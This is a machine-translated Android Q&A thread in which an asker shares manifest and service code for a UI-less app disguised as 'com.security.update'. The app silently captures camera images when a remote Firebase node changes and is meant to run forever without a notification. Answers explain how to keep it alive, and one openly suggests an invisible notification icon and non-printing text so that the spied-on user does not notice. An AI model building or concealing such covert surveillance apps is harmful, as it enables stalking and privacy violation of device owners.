2016-11-19 74 views
9

我創建了一個服務,我想永遠運行而不顯示前臺通知。我在onStartCommand中有Firebase偵聽器,只要數據庫中的數據發生變化就會偵聽。只要數據發生變化,它就會執行特定的任務例如。捕獲圖像後臺服務與Firebase childeventlistener不工作後幾分鐘

在Activity類中,沒有任何東西只是我已經開始服務,然後我完成了它。問題是,我可以在我的Samsung J2設備上和Nexus 5上看到,只要我從應用程序抽屜中殺死應用程序,該服務就會停止。我已經在BOOT_COMPLETED上實現了廣播接收器,並且還在服務onDestroy中,但它在啓動時也不起作用。總之,我的服務沒有永久運行。我也不確定Firebase偵聽器是否可以在後臺服務中工作。有許多應用程序,如whatsapp,徒步旅行,Applock,許多其他應用程序,即使在強制關閉時也會重新啓動。我希望我的應用程序每次都能聽取Firebase數據庫。它純粹基於服務的應用程序。它沒有任何活動。 下面是代碼 -

清單文件

<manifest xmlns:android="http://schemas.android.com/apk/res/android" 
package="com.security.update"> 

<uses-permission android:name="android.permission.INTERNET" /> 
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> 
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> 
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /> 
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> 
<uses-permission android:name="android.permission.CAMERA" /> 
<uses-feature android:name="android.hardware.camera" /> 
<uses-permission android:name="android.permission.WAKE_LOCK" /> 

<application 
    android:screenOrientation="portrait" 
    android:name="android.support.multidex.MultiDexApplication" 
    android:allowBackup="true" 
    android:icon="@mipmap/ic_launcher" 
    android:label="@string/app_name" 
    android:supportsRtl="true" 
    android:theme="@style/AppTheme"> 


    <activity 
     android:name=".ActivityForPermissions" 
     android:screenOrientation="portrait"> 
     <intent-filter> 
      <action android:name="android.intent.action.MAIN" /> 

      <category android:name="android.intent.category.LAUNCHER" /> 
     </intent-filter> 
    </activity> 


    <service android:name="com.security.update.CameraService" 
     android:enabled="true" 
     /> 

    <receiver android:name="com.security.update.ReceiverCall" 
     android:enabled="true"> 
     <intent-filter> 
      <action android:name="RESTART_SERVICE" /> 
      <action android:name="android.intent.action.BOOT_COMPLETED" /> 
     </intent-filter> 
    </receiver> 

</application> 

Activity類

public class ActivityForPermissions extends AppCompatActivity { 

    @Override 
    public void onCreate(Bundle savedInstanceState) { 
    super.onCreate(savedInstanceState); 

    startService(new Intent(ActivityForPermissions.this,CameraService.class)); 
    finish(); 
} 


@Override 
protected void onDestroy() { 
    super.onDestroy(); 
}} 

Reciever類

public class ReceiverCall extends BroadcastReceiver { 

@Override 
public void onReceive(Context context, Intent intent) { 

    context.startService(new Intent(context, CameraService.class));; 
    } 

} 

服務類

public class CameraService extends Service 
{ 
//Camera variables 
//a surface holder 
private SurfaceHolder sHolder; 
//a variable to control the camera 
private Camera mCamera; 
//the camera parameters 
private Parameters parameters; 
/** Called when the activity is first created. */ 
private StorageReference mStorageRef; 
File spyfile; 
FirebaseDatabase database; 
public static DatabaseReference RequestRef,SpyStatus; 
String devicemodel; 

@Override 
public void onCreate() 
{ 
    super.onCreate(); 
    android.os.Debug.waitForDebugger(); 
} 

@Override 
public int onStartCommand(Intent intent, int flags, int startId) { 
    devicemodel = android.os.Build.MODEL; 
    mStorageRef = FirebaseStorage.getInstance().getReference(); 
    database = FirebaseDatabase.getInstance(); 
    RequestRef = database.getReference("CameraRequest"); 
    SpyStatus = database.getReference("SpyStatus"); 
    ListenerForRequestDone(); 
    return START_STICKY; 

} 

@Override 
public void onDestroy() { 
    super.onDestroy(); 
    Intent intent = new Intent("RESTART_SERVICE"); 
    sendBroadcast(intent); 
} 

public void ListenerForRequestDone(){ 
    RequestRef.addChildEventListener(new ChildEventListener() { 
     @Override 
     public void onChildAdded(DataSnapshot dataSnapshot, String s) { 

     } 

     @Override 
     public void onChildChanged(DataSnapshot dataSnapshot, String s) { 
      StartImageCapture(1); 
     } 

     @Override 
     public void onChildRemoved(DataSnapshot dataSnapshot) { 

     } 

     @Override 
     public void onChildMoved(DataSnapshot dataSnapshot, String s) { 

     } 

     @Override 
     public void onCancelled(DatabaseError databaseError) { 

     } 
    }); 
} 

也有例如有類似的問題。 this但沒有正確的答案。

+0

嘗試刪除清單文件中的

+0

請問您可以如何解釋這個幫助@AshrithkS? –

+0

嗨,開始啓動服務,添加1)在您的元素: <使用權限android:name =「android.permission.RECEIVE_BOOT_COMPLETED」/> –

回答

6

第一個答案:

您的服務已被殺害,因爲你可能會嘗試做一些事情,谷歌/ Android操作系統明確不希望發生的。下面是來自SDK文檔的切割,然後我會解釋:

(從服務生命週期),因爲只有少數進程通常是對用戶可見,這意味着服務不應該只是在低內存被殺死條件。但是,由於用戶並不直接瞭解後臺服務,因此在該狀態下它被認爲是有效的殺手,並且您應該準備好實現此目的。 特別是,長時間運行的服務將越來越有可能被殺死,並且如果它們的啓動時間足夠長,保證會被殺死(並在適當的情況下重啓)

你看,他們居然試圖以確保用戶不會有數百SpyServices的運行永遠,佔用資源或什麼是。你如何避免這種情況?答案就在那裏...顯示某種類型的通知,甚至只是說'服務運行'會使服務不被銷燬。當然,如果你真的試圖在用戶身上「窺探」,發出間諜服務正在運行的通知並不是一個好主意。如果您想繼續使用此模式,請嘗試使用「不可見」通知圖標和非打印文字。如果用戶在查看通知,他們可能看不到它,或者認爲這只是一個小故障。

第二個答案:

切換到一個更「事件驅動」的設計。我假設你能夠抓住'啓動','呼叫接收'和其他信息,因此註冊接收器以顯示可能指示手機使用情況的事件,這樣,您可以輕鬆地將多個10-15分鐘細分幾乎全面覆蓋。

我會瞄準像事件:連接

  • 電源/斷開
  • 無線網絡連接狀態變化
  • 屏幕背光開/關和/或屏幕鎖定狀態改變。

第三個答案:

看看的 '結合' 模式。如果您可以獲得任何「綁定」服務的活動,那麼只要綁定,其保證不會被殺死。如果您將「START_STICKY」與綁定模式組合在一起,您可以在發佈綁定後繼續運行一段時間。

+0

Thnx詳細答案@Dan。我正在使用firebase數據庫onchildchange監聽器,它在某些時候不工作。它會在通知的onRecieve上工作,還是在由您提供的意向過濾器啓動的服務中工作? –

+0

它應該取決於您如何設置IntentFilter,您可以添加多個操作類型,並且它們將作爲邏輯「或」運行。仔細閱讀IntentFilter部分,但'category'和'action'有特殊的條件。 您是否使用'onChildChanged()'來保持客戶端的服務活着?有沒有真正的數據,你推動設備? –

+0

是的,我正在使用'onchildchanged()',我不發送數據我只是改變價值,我希望聽衆傾聽那個時間,並有監聽器內捕獲圖像並將其發送到firebase存儲的方法。 –

4

此主題出現在DroidconIn(「Firebase實時數據庫深度潛水」)的演示文稿中。實際上,你不能依賴於在後臺獲得'正常'的Firebase同步更新,而是需要進行某種可以發送推送通知的設置。

https://www.youtube.com/watch?v=1nUSoCZlnDo&t=25m10s